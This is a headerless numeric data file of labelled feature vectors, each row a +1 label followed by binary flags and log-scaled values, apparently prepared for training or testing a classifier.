+1,0,1,1,0,0,1,0,0,1,0,8.26411,4.85981,30.3203,5.14166,0.0733006,6.08126,0.044505,0.09375,0,0.0523061,0.328125,1.79176,0,0,0,1.38629,0.693147,6.29955,1.09861,0.693147,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,0,1,10.2662,6.6695,36.5222,5.50126,0,5.10219,0.0263724,0.127065,0,0.0479421,0.584498,2.70805,0.693147,0,0,1.94591,0,4.70048,3.21888,0,0,0,1.09861,0.693147,0,1.60944,0.693147,0,0,0,1.09861,0,0,0,0,0,0,1.09861,0,0,0,0,0,1,0,0,0 +1,1,1,1,1,0,1,0,0,0,0,8.49679,5.1358,28.9822,4.35671,0,4.84679,0.0639035,0.183432,0,0.0385872,0.248521,0,0,0.693147,1.09861,0,0,3.80666,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,1.38629,0.693147,0,0,1.09861,0.693147,0,0,1,0,0,0,0 +1,1,1,1,1,0,1,0,0,0,1,8.74481,5.03695,41.0261,4.78749,0,5.47374,0.0894542,0.0980392,0,0.0329775,0.503268,0.693147,0,1.09861,0.693147,0.693147,0,4.52179,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,1.09861,0,0,1.38629,1.09861,0,1.09861,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,1,7.01392,3.8712,23.6383,4.46591,0,4.80537,0.0164158,0.191489,0,0.130513,0.851064,0,0,0.693147,0.693147,0,0,3.3673,0.693147,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0.693147,0.693147,0,1.09861,0,0,0,0,1,0,0,0,0 +1,0,1,0,1,0,1,0,0,0,0,5.34233,2.07944,29.7143,4.17439,0,5.14381,0,0,0,0.0961538,0,0,0,0.693147,0,0,0.693147,3.73767,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1 +1,1,1,1,0,0,1,0,0,1,0,11.2177,7.34343,48.1773,4.69135,0.264827,6.56207,0.00116384,0.0122977,0,0.0735551,0.023301,0,0,1.09861,0.693147,0,0.693147,5.59031,2.3979,0.693147,0.693147,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,1.38629,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,1,0,6.9256,3.49651,31.7812,4.43082,0.227234,6.14748,0.117512,0.1875,0,0.027532,0.21875,0.693147,0.693147,0,0,0.693147,1.09861,6.31662,0,1.09861,1.09861,0,0,0,0,0,0,0,0,0,0,1.38629,0,1.09861,0,0,0,0,0,0.693147,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,0,0,6.27099,3.21888,22,4.20469,0,5.59069,0.157911,0.208333,0,0.154828,2.13519,0,0,0,0,0,0,3.78419,0,0,0,1.94591,1.38629,1.09861,1,0.693147,1.09861,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,8.49577,5.20949,26.8846,4.35671,0,5.00416,0.0554656,0.0769231,0,0.0682608,0.703297,0,0.693147,0,0,0,1.09861,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0.693147,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,6.68586,3.29584,30.7692,4.48864,0,5.01192,0,0.153846,0,0.08625,0.5,0,0,0.693147,0,0,0,3.3322,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1.38629,1.09861,0,0.693147,0,0,0,0,1,0,0,0,0 +1,0,0,1,0,0,0,0,1,0,0,5.38907,2.19722,27.25,4.23411,0,5.02149,0.0530076,0,0,0.0504587,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0,0,0,0,0.693147,1.38629,0,0,0,0,0,0,1,0,0 +1,0,1,1,1,0,1,0,0,0,0,7.91462,4.61512,27.36,4.38203,0,5.14924,0.0864161,0.11,0,0.0398392,0.21,0,0.693147,0,0,0,0,4.38203,1.79176,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0.693147,1.09861,0,0,0,0.693147,1.09861,0,0,1,0,0,0,0 +1,0,1,1,1,0,0,0,0,0,0,6.51323,2.3979,67.3,5.23111,0,5.23805,0,0.2,0,0.0208024,0,0,0,0,0,0,0,3.43399,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1.09861,0,0,0,0,0,0,1 +1,1,1,1,0,0,1,0,0,0,0,10.4747,7.54486,18.7333,4.55388,0,5.13608,0.0361304,0.0259259,0,0.0150822,0.0650794,1.09861,0,1.09861,1.09861,1.09861,0,4.12713,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,1.38629,0.693147,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,0,1,9.58651,6.25383,28.0655,4.89035,0,5.04077,0.0510479,0.117534,0,0.09735,0.495183,2.3979,0,0,0,1.79176,0,4.49981,3.3322,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,1,1,7.31522,3.78419,34.9302,4.70953,0.398716,5.86002,0.0440158,0.255814,0.00798935,0.0299601,0.209302,0,0,0,0,0,1.38629,7.92332,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,11.6822,8.21284,32.1242,4.91265,0,5.25057,0.0422843,0.170057,0,0.00769153,0.000542446,1.60944,1.60944,0,0,0.693147,0,4.40672,4.70953,0,0,1.09861,0,0,0,0,0,0,0,0,0,1.09861,0,1.09861,1.09861,0,0,0,0,0.693147,0,0,0,0,1,0,0 +1,1,1,1,1,0,1,0,0,0,0,9.94755,6.60394,28.3582,4.39445,0,5.28523,0.0760342,0.147897,0,0.0110526,0.0027137,1.09861,1.09861,1.09861,0,1.09861,0.693147,4.36945,2.89037,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,1.09861,0.693147,0,1.09861,0.693147,0.693147,0,0,0,0,1,0,0 +1,1,1,1,1,0,1,0,0,0,1,6.96697,3.63759,28.6486,4.69135,0,5.12823,0.0588701,0.189189,0,0.05,0.459459,0,0,0.693147,0,0,0,4.11087,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,1,0,0,6.34914,3.04452,28.55,4.23411,0,5.30256,0,0.15,0,0.105079,0.25,0,0,0.693147,0,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,1.38629,0,1.09861,0.693147,0,1.09861,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,9.39466,5.67675,41.3162,5.39816,0,5.92812,0.055853,0.0893471,0,0.030608,0.305842,2.07944,0,0.693147,0.693147,1.38629,4.30407,4.20469,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,1.09861,0.693147,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,1,0,5.41165,2.19722,27.875,4.23411,0.118263,5.42913,0.0490831,0,0,0.0493274,0.125,0,0,0.693147,0,0,1.09861,7.01669,0,1.38629,1.38629,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0.693147,1.09861,0,1.38629,0,0,0,0,0,0,1,0,0 +1,0,1,1,1,1,0,0,0,0,0,8.07652,4.76217,27.7328,5.34711,0,5.13856,0.0149644,0.0775862,0,0.0668325,0.62931,0,0,0,0,0,0,4.77068,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0.693147,0,1.60944,1,0,0,0,0 +1,0,1,1,1,0,1,0,0,1,0,5.89164,2.56495,30.0833,4.59512,0.395729,6.34175,0,0.0833333,0,0.0277008,0.166667,0,0,0,0,0,1.09861,6.2724,1.09861,1.09861,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,6.32794,3.04452,27.95,4.23411,0,5.29405,0,0.15,0,0.107335,0.25,0,0,0,0,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,0,0,6.74052,3.3673,30.1786,4.46591,0,4.99619,0.0172124,0.0357143,0,0.0828402,1.14286,0,0,0,0,0,0,3.80666,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0.693147,1.09861,0,0,0,0,0,1,0,0,0 +1,1,1,1,0,0,1,0,0,1,0,7.88608,4.49981,29.8764,4.41884,0,4.88513,0.125449,0.101124,0,0.0718315,0.797753,0,0,0,0,0,0.693147,3.73767,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,6.50429,3.29584,25.6538,4.45435,0,4.88811,0.0565656,0.384615,0,0.0329835,0.0769231,0,0,0.693147,0,0,0,4.06044,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0.693147,0.693147,0,0.693147,0,0,0,0,0,0,1,0,0 +1,1,0,1,0,1,1,0,0,1,0,10.6192,7.25488,28.9335,5.24175,0.303847,6.12307,0.0207778,0.146393,0.00515741,0.131117,2.85472,2.48491,0,0.693147,1.09861,1.38629,1.09861,7.22122,3.73767,1.60944,1.38629,1.38629,1.09861,0.693147,1,0.693147,1.09861,0.693147,0.693147,1.09861,0,0,0,0,1.09861,0.693147,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,5.34233,2.07944,29.7143,4.17439,0,5.14381,0,0,0,0.0961538,0,0,0,1.09861,0.693147,0,0,3.73767,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,1.09861,0,1.09861,0.693147,0,0.693147,0,0,0,0,1,0,0,0,0 +1,0,1,1,1,0,1,0,1,0,0,8.07527,4.86753,24.907,4.82831,0,5.36209,0.0227114,0.131783,0,0.0706505,0.372093,1.09861,0,0,0,0.693147,0.693147,4.81218,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0,0,0,0,0.693147,0.693147,0.693147,1.09861,0,0,1,0,0,0,0 +1,0,0,1,0,0,1,0,0,0,0,6.56526,3.55535,20.8529,4.33073,0,5.06707,0.115978,0.205882,0,0.0239774,0.235294,0,0,1.09861,0.693147,0,0,3.46574,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0.693147,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,1,0,0,0,0,0,0,10.0739,6.70196,29.171,5.0689,0,5.45878,0.0596431,0.0774908,0,0.0731035,4.72379,2.83321,0,0,0,2.19722,0,5.05625,2.56495,0,0,1.94591,0.693147,0.693147,1,1.09861,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,0,1,1,6.24804,2.56495,43,4.72739,0.334166,6.14318,0,0.0833333,0,0.00775194,0,0.693147,0,0,0,0.693147,1.60944,8.24905,0,1.60944,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,0,0,5.70711,2.48491,27.2727,4.40672,0,5.80374,0.106911,0,0,0.0794426,2.01431,0,0,0,0,0,0,3.4012,0,0,0,1.79176,1.79176,1.09861,1,0.693147,0.693147,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,8.45914,5.01728,31.4467,4.40672,0,4.52616,0.0176878,0.173333,0,0.0254399,0,1.09861,1.09861,0.693147,1.09861,0.693147,0,3.7612,1.79176,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1.38629,0.693147,0,1.09861,0,0,0,0,0,0,1,0,0 +1,0,1,1,1,1,0,0,0,1,0,6.64639,3.3673,27.4643,4.21951,0.385505,6.58135,0.0504517,0.0357143,0,0.0910273,1.14286,0,0,0,0,0,1.09861,5.80122,0,0.693147,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0.693147,0,0,0,1,0,0,0 +1,0,1,0,0,0,0,0,0,0,0,10.8482,7.51371,28.0775,4.56435,0,5.24511,0.0340978,0.187773,0,0.00847622,0.0010917,0,0.693147,0,0,0,0,4.36945,4.63473,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,1.09861,0,0,0,0,0,0.693147,0,0,0,0,1,0,0 +1,0,1,1,0,0,0,0,0,0,0,5.39363,2.19722,27.375,4.23411,0,5.03211,0.0617418,0,0,0.0502283,0.125,0,0.693147,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0.693147,0.693147,0,0,0,0,1.09861,0,0,0,0,1,0,0 +1,1,1,1,0,0,1,0,1,0,1,5.9108,2.48491,33.4545,4.31749,0,4.86151,0.022747,0.0909091,0,0.0108696,0.0909091,0,0,0.693147,0,0,0,3.55535,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,1.38629,0,1.38629,1.09861,0,1.38629,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,6.29711,3.09104,25.8095,4.60517,0,5.26057,0.0144235,0.190476,0,0.0627306,0.571429,0,0,1.09861,0.693147,0,0,3.73767,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,1.38629,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,8.51919,4.91265,37.1037,4.8828,0,5.79979,0.062431,0.155556,0,0.13518,1.65958,1.60944,0,1.09861,1.09861,0.693147,0,4.39445,1.38629,0,0,2.07944,1.79176,0.693147,1,0.693147,1.09861,0,1.09861,0,0,0,0,0,1.38629,1.09861,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,0,0,1,5.37064,2.19722,26.75,4.23411,0,5.03747,0.0348606,0,0,0.0514019,0.125,0,0,0,0,0,0,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,1,0,0 +1,0,1,0,0,0,1,0,0,1,1,6.32972,2.63906,43.0769,4.79579,0.161025,6.20051,0,0.153846,0,0.00714286,0,0.693147,0,1.09861,0.693147,0.693147,0.693147,8.22086,0,1.79176,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,1.38629,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,0,0,0,0,0,0,0,0,0,0,7.30653,4.00733,27.5741,4.47734,0,4.55261,0.00545196,0.222222,0,0.051041,0,0,1.09861,0,0,0,0,3.80666,1.60944,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1.09861,0.693147,0,0,0,0,1.09861,0,0,0,0,1,0,0 +1,0,1,1,0,0,0,0,0,1,0,6.27099,3.21888,22,4.20469,0.0596752,6.20242,0.148523,0.208333,0,0.0378788,0.25,0,0.693147,0,0,0,0.693147,6.91474,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1.09861,1.09861,0,0,0,0,1.09861,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,1,7.83913,4.49981,28.5056,4.69135,0,5.00869,0.0158962,0.168539,0,0.0421758,0.191011,0,1.09861,0,0,0,0,3.66356,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1.09861,0,0,0,1.09861,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,1,0,0,0,0,1,8.68135,5.47227,24.8565,4.60517,0,5.09503,0.00353094,0.118143,0,0.0833475,0.383966,1.60944,0,0,0,1.09861,0.693147,4.34381,1.94591,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,6.55108,2.70805,49.9286,4.85203,0,5.19876,0,0.214286,0,0.0901288,1.21429,0,1.09861,0.693147,0.693147,0,0,3.46574,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,1.09861,0,0.693147,1.09861,0.693147,0,0,0,0.693147,0,0,1,0,0,0,0 +1,0,1,0,0,0,1,0,0,0,0,7.88307,4.58497,27.3299,4.82831,0,5.20514,0.0354839,0.164948,0,0.0743116,0.381443,0,0,0.693147,0,0,0,4.00733,1.09861,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,0,0,0,0,1,10.0656,6.77422,26.9096,5.1358,0,5.14906,0.0568086,0.169336,0,0.0920532,0.580092,2.70805,0.693147,0,0,1.94591,0,4.45435,1.79176,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,1.09861,0,0,0,0,0,0.693147,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,1,0,5.3799,2.19722,27,4.23411,0.359883,6.06466,0.0198195,0,0,0.0509259,0.125,0,0,0,0,0,0.693147,6.835,0,1.60944,1.38629,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,0,1,0,0,0,0,0,0,1,0,5.61677,2.56495,22.8333,4.00733,0.291288,5.45663,0,0.166667,0,0.131387,0.833333,0,0,0,0,0,1.38629,7.07763,0,1.09861,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,0,1,0,1,0,0,1,0,14.6177,10.2389,79.7486,4.59512,0.211287,6.58474,0.00216781,0.00121563,0,0.0880906,0.918088,1.09861,0,0,0,1.09861,1.09861,6.18108,2.07944,0,1.09861,0.693147,9.15165,0.693147,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,0,1,1,0,0,1,0,0,0,0,9.25541,5.98141,26.481,4.82028,0,4.84082,0.0129954,0.15443,0,0.0691205,0.382278,1.60944,0,1.09861,0,1.60944,0,4.06044,3.17805,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,1.38629,1.09861,0,1.09861,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,8.13944,4.60517,34.6061,4.46591,0,4.35996,0.00702603,0.232323,0,0.0852306,0,0,0,0.693147,0,0,0,3.73767,2.30259,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,1,1,0,0,0,1,0,0,0,1,10.0623,6.77194,26.8819,5.17048,0,5.34807,0.0216281,0.169725,0,0.0913784,2.96014,2.70805,0.693147,0,0,1.94591,0,4.45435,1.79176,0,0,1.94591,0.693147,0.693147,1,0.693147,1.09861,0.693147,0,0,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,0,1,0,1,0,0,0,0,8.49679,5.1358,28.9822,4.35671,0,4.84679,0.024891,0.183432,0,0.0385872,0.248521,0,0,0.693147,0,0,0,3.80666,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,0,1,0,0,0,0,0,0,1,6.74524,3.3673,30.3214,4.47734,0,6.38889,0.0772506,0.0357143,0,0.0824499,1.80117,0,0,0,0,0,0,3.82864,0,0,0,1.60944,1.79176,1.09861,1,1.09861,0.693147,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,1,0,0,0 +1,1,1,0,1,0,1,0,0,1,0,5.70711,2.48491,27.2727,4.40672,0,4.68355,0.156495,0,0,0.0433333,0.454545,0,0,0,0,0,0.693147,3.4012,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,0,0,0,1,0,0,0,0,5.34233,2.07944,29.7143,4.17439,0,5.14381,0,0,0,0.0961538,0,0,0,0.693147,1.09861,0,0,3.73767,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,1.38629,0,1.38629,1.09861,0,1.09861,0,0,0,0,1,0,0,0,0 +1,1,1,1,1,1,1,0,0,1,0,5.3799,2.19722,27,4.23411,0,5.03016,0.0725943,0,0,0.0509259,0.125,0,0,0,0,0,1.09861,3.52636,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,1.09861,0,0,0,0,1,0,0 +1,0,1,1,1,0,1,0,0,0,1,10.6141,6.8977,41.1557,6.75809,0.00404449,5.58261,0.000688929,0.10819,0,0.0619068,1.78197,1.38629,0,0,0,1.09861,0.693147,5.38907,0,0.693147,0,1.79176,1.79176,0.693147,1,0.693147,1.09861,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,1,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,7.14362,3.7612,30.119,4.29046,0,4.86198,0.0568421,0.047619,0,0.0142292,0.0714286,0,0.693147,1.09861,0.693147,0,0,4.00733,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0.693147,0,1.09861,1.09861,1.09861,0,0,0,0.693147,0,0,1,0,0,0,0 +1,1,1,0,1,0,1,0,0,0,0,6.37843,3.29584,22.6154,4.30407,0,4.4177,0.0551653,0.0384615,0,0.0340136,0.153846,0,0,0,0,0,1.09861,2.83321,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,1,0,0,7.81521,4.72739,22.1161,4.55388,0,5.20764,0.0257313,0.125,0,0.0476383,0.491071,0,0,0.693147,0,0,0,3.85015,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,1.09861,0,1.09861,1.09861,0.693147,0.693147,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,1,0,6.36475,3.04452,29,4.23411,0,5.30372,0,0.15,0,0.103448,0.25,0,0,0,0,0,1.09861,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,0,1,0,1,0,0,0,0,6.78897,3.17805,38.5652,4.35671,0,4.87696,0.0670623,0.130435,0,0.0608794,0,0,0,0,0,0,0.693147,3.29584,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,1,1,1,1,0,1,0,0,1,0,5.3845,2.19722,27.125,4.23411,0.174818,5.95817,0.0434927,0,0,0.0506912,0.125,0,0,1.09861,0,0,1.38629,7.25428,0,1.79176,0,0,0,0,0,0,0,0,0,0,0,1.09861,1.09861,0,1.09861,1.09861,0,1.09861,0,0,0,0,0,0,1,0,0 +1,0,1,0,0,1,1,0,0,1,1,8.48281,4.97673,33.5417,4.89035,0.219216,5.9456,0.0213892,0.166667,0,0.0772257,0.840278,0.693147,0,0,0,0.693147,0.693147,6.55918,1.38629,1.09861,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,1,0,6.632,3.43399,25.2667,4.36945,0.34305,6.48426,0.056529,0.2,0,0.025066,0.0666667,0,0,0.693147,0,0,1.60944,8.22642,0,1.60944,0,0.693147,0,0,0,0,0,0,0,0.693147,0,0,1.38629,0,1.09861,0.693147,0,1.38629,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,1,0,7.34407,3.58352,44.1714,4.8828,0.113007,6.22874,0.0142812,0.171429,0,0.0446313,0.857143,0.693147,0,1.09861,0,0.693147,1.38629,7.35794,0,1.38629,1.38629,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1.09861,0.693147,0,1.09861,0,0,0,0,0,1,0,0,0 +1,0,1,1,0,0,0,0,0,0,0,8.49679,5.1358,28.9822,4.35671,0,5.96078,0.0530061,0.183432,0,0.123141,4.03287,0,0,0,0,0,0,3.80666,0,0,0,2.19722,1.60944,0.693147,1,0.693147,1.09861,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,1,1,0,0,0,1,0,0,0,0,6.32972,3.04452,28,4.23411,0,5.2904,0,0.15,0,0.107143,0.25,0,0,0.693147,0,0,0,3.7612,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.38629,0,0.693147,0.693147,0,0.693147,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,1,0,0,0,0,5.38907,2.3979,21.8,4.09434,0,5.0409,0,0.1,0,0.0366972,0.4,0,0,1.09861,0,0,0,3.43399,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,1.38629,1.09861,0,0.693147,0,0,0,0,1,0,0,0,0 +1,0,1,1,1,1,0,0,0,0,1,9.3579,6.07304,26.7644,5.01728,0,5.26584,0.0155786,0.0531178,0,0.08068,0.491917,2.3979,0.693147,0,0,1.09861,0,4.29046,3.43399,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,1.09861,0,0,1,0,0,0,0 +1,1,1,0,0,0,1,0,0,1,0,5.56834,2.19722,32.625,4.23411,0.200678,6.23643,0.0215711,0,0,0.0421456,0.125,0,0,0,0,0,1.38629,8.44432,0,0,0.693147,0,0,0,0,0,0,0,0,1.09861,0,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,1,1,1,0,0,1,0,0,0,0,8.4929,5.03695,31.8889,4.30407,0,5.09443,0.124664,0.130719,0,0.0391474,0.418301,0.693147,0,1.09861,0.693147,0.693147,0,3.61092,1.09861,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,1.38629,0.693147,0,0,0,0,0,0,1,0,0,0,0 +1,1,1,1,0,0,1,0,0,0,0,7.34407,3.58352,44.1714,4.8828,0,5.1464,0.0458183,0.171429,0,0.0446313,0.857143,0.693147,0,0,0,0.693147,0,4.15888,0,0,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0 +1,0,1,0,0,0,0,0,0,1,0,8.53228,5.01064,34.0604,4.63473,0.308868,6.04093,0,0.0671141,0,0.0336946,0,0,0,0,0,0,0.693147,5.78793,0.693147,0.693147,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,1,1,1,0,0,1,0,1,0,0,14.6177,10.2389,79.7486,4.59512,0,6.42769,0.00290533,0.00121563,0,0.0880906,0.918088,1.09861,0,0,0,1.09861,1.79176,4.38203,2.07944,0,0,0.693147,9.15165,0.693147,0,0,0,0,0,0,1.09861,0.693147,0,0,0,0,0.693147,0.693147,0,0,0,0,0,0,1,0,0 +1,0,1,1,0,0,1,0,0,0,1,7.67555,4.31749,29.1081,4.46591,0,5.11953,0.0414703,0.162162,0,0.038533,0.378378,0,0,0,0,0,0,3.3673,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,0,1,8.53228,5.01064,34.0604,4.63473,0,4.0714,0,0.0671141,0,0.0336946,0,0,0,0,0,0,0,4.17439,0.693147,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0.693147,0,0,0,0,0,0,1,0,0 +1,1,1,0,1,0,1,0,0,0,0,6.632,3.43399,25.2667,4.36945,0,6.0798,0.0720094,0.2,0,0.143737,4.26677,0,0,1.09861,0,0,0,3.63759,0,0,0,2.19722,1.38629,0.693147,1,0.693147,1.09861,1.09861,0,0,0,0,1.38629,0,1.38629,1.09861,0,1.38629,0,0,0,0,0,1,0,0,0 +1,1,1,1,0,0,1,0,0,0,1,8.45914,5.01728,31.4467,4.40672,0,4.52616,0.038232,0.173333,0,0.0254399,0,1.09861,1.09861,0.693147,1.09861,0.693147,0,3.7612,1.79176,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,1.38629,0.693147,0,0.693147,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,1,0,0,7.40914,3.93183,33,4.82831,0,5.9977,0,0.2,0,0.0818182,4.66877,0,1.09861,0,0,0,0,4.31749,0,0,0,1.38629,0.693147,1.09861,1,0.693147,1.09861,1.09861,0,0,1.38629,1.60944,0,1.09861,1.09861,0,0,0.693147,0,0.693147,0,0,0,1,0,0,0 +1,1,1,1,1,0,1,0,0,1,0,6.14847,2.77259,31.1333,4.35671,0,4.94548,0.0550641,0.2,0,0.0578158,0.466667,0,0,1.09861,1.09861,0,0.693147,3.52636,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,1.09861,1.09861,0,0,0,0,0,0,1,0,0,0,0 +1,0,1,1,0,0,0,0,0,1,0,5.3799,2.19722,27,4.23411,0.262522,6.49964,0.0362896,0,0,0.0509259,0.125,0,0,0,0,0,0.693147,6.73835,0,0,0,0,0,0,0,0,0,0,0,1.09861,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0 +1,1,1,1,1,0,1,0,0,1,0,6.76849,3.17805,37.7826,4.80402,0.226119,6.24013,0,0.130435,0,0.0759494,0.956522,0,0,0.693147,0,0,0.693147,6.31458,0,1.79176,0.693147,0,0,0,0,0,0.693147,0,0,1.09861,0,0,0,0,0.693147,0,0,0,0,0,0,0,0,1,0,0,0 